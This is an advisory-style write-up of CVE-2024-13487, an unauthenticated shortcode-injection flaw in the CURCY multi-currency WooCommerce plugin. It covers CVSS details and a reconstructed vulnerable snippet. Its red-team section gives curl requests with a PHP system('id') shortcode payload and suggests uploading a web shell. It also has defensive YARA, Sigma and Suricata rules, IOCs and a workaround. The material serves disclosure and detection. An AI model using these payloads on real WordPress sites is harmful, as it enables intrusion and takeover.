CVE-2024-13487

Executive Summary

CVE-2024-13487 is a critical arbitrary shortcode execution vulnerability affecting the CURCY – Multi Currency for WooCommerce WordPress plugin, versions up to and including 2.2.5. The flaw resides in the get_products_price() function, which fails to properly validate user-supplied input before passing it to the do_shortcode() WordPress function. This allows an unauthenticated attacker to execute arbitrary WordPress shortcodes, potentially leading to remote code execution, data exfiltration, or site defacement.

As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The vendor (Curcy) has not released a patch, and no public exploit code is available at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical impact remains high.

Supply Chain & Package Security

This vulnerability is distributed via the WordPress plugin repository and can affect any site running the CURCY plugin. Since the plugin is a third-party component, the supply chain risk is elevated. Site administrators must manually monitor for updates or remove the plugin until a patch is issued.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 7.3 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The vulnerability is rated High due to the low attack complexity and lack of authentication requirements. While individual impacts are Low, the ability to execute arbitrary shortcodes can be chained with other vulnerabilities (e.g., file upload via shortcode) to achieve higher severity.

Deep Dive & Mechanics

The vulnerability exists in the get_products_price() function of the CURCY plugin. This function is intended to retrieve product prices for AJAX requests. However, it accepts user-supplied parameters and passes them directly to do_shortcode() without sanitization or validation.

WordPress shortcodes are powerful and can execute arbitrary PHP code if a vulnerable shortcode is registered (e.g., [file_upload], [php], or custom shortcodes from other plugins). An attacker can craft a request like:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=get_products_price&shortcode=[malicious_shortcode]

The plugin then executes do_shortcode('[malicious_shortcode]'), allowing the attacker to run any shortcode available on the site.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.2.5):

function get_products_price() {
    $shortcode = $_POST['shortcode'];
    echo do_shortcode($shortcode);
    wp_die();
}
add_action('wp_ajax_nopriv_get_products_price', 'get_products_price');
add_action('wp_ajax_get_products_price', 'get_products_price');

Patched Code (Hypothetical):

function get_products_price() {
    $shortcode = sanitize_text_field($_POST['shortcode']);
    $allowed_shortcodes = array('product_price', 'currency_switcher');
    if (in_array($shortcode, $allowed_shortcodes)) {
        echo do_shortcode($shortcode);
    } else {
        wp_die('Invalid shortcode');
    }
    wp_die();
}

The patched version validates the shortcode against a whitelist and sanitizes input.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with CURCY plugin <= 2.2.5
• A shortcode that performs a malicious action (e.g., [file_upload] from another plugin, or [php] if available)

Exploitation Steps:

1. Identify a target site running the vulnerable plugin.
2. Craft a POST request to wp-admin/admin-ajax.php with the action get_products_price and a malicious shortcode.
3. Example using curl:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=get_products_price&shortcode=[file_upload]"

4. If a file upload shortcode is available, upload a web shell.
5. Alternatively, use a shortcode that executes PHP code:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=get_products_price&shortcode=[php]echo system('id');[/php]"

Note: The success depends on the presence of other vulnerable shortcodes. This is a chaining vulnerability.

Blue Team

Detection:

• Monitor AJAX requests to admin-ajax.php with action get_products_price.
• Look for unusual shortcode parameters in POST data.
• Use the Sigma rule below to detect exploitation attempts.

Hunting:

• Search web server logs for action=get_products_price and inspect the shortcode parameter.
• Check for unexpected file uploads or new admin users.

Mitigation:

• Disable the CURCY plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests containing action=get_products_price with suspicious shortcode patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=get_products_price and a shortcode parameter containing square brackets.
  • Unusual shortcode names in logs (e.g., [file_upload], [php], [exec]).

• File System IOCs:

  • Unexpected files in /wp-content/uploads/ (e.g., PHP shells).
  • Modified .htaccess files.

• System IOCs:

  • New WordPress admin users.
  • Unusual outbound connections from the web server.

Detection Engineering

YARA Rule

rule CVE_2024_13487_Shortcode_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2024-13487 via shortcode injection"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-13487"
    strings:
        $ajax_action = "action=get_products_price"
        $shortcode_param = "shortcode="
        $shortcode_bracket = /\[.*?\]/
    condition:
        $ajax_action and $shortcode_param and $shortcode_bracket
}

Sigma Rule

title: CVE-2024-13487 CURCY Shortcode Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of arbitrary shortcode execution in CURCY plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=get_products_price'
        cs-uri-query|contains: 'shortcode='
    condition: selection
falsepositives:
    - Legitimate use of the plugin's AJAX functionality (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13487 CURCY Shortcode Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=get_products_price"; http_client_body; content:"shortcode="; http_client_body; pcre:"/\[.*?\]/R"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the CURCY plugin until a patch is released.
2. Implement a WAF rule to block requests containing action=get_products_price with shortcode parameters.
3. Review server logs for signs of exploitation.

Long-term Fix:

• The vendor must release a patched version that validates shortcodes against a whitelist.
• Until then, consider using an alternative multi-currency plugin.

Workaround:

• Add the following code to the theme's functions.php to disable the vulnerable AJAX action:

add_action('init', function() {
    remove_action('wp_ajax_nopriv_get_products_price', 'get_products_price');
    remove_action('wp_ajax_get_products_price', 'get_products_price');
});

Valters IT – Securing WordPress ecosystems one CVE at a time.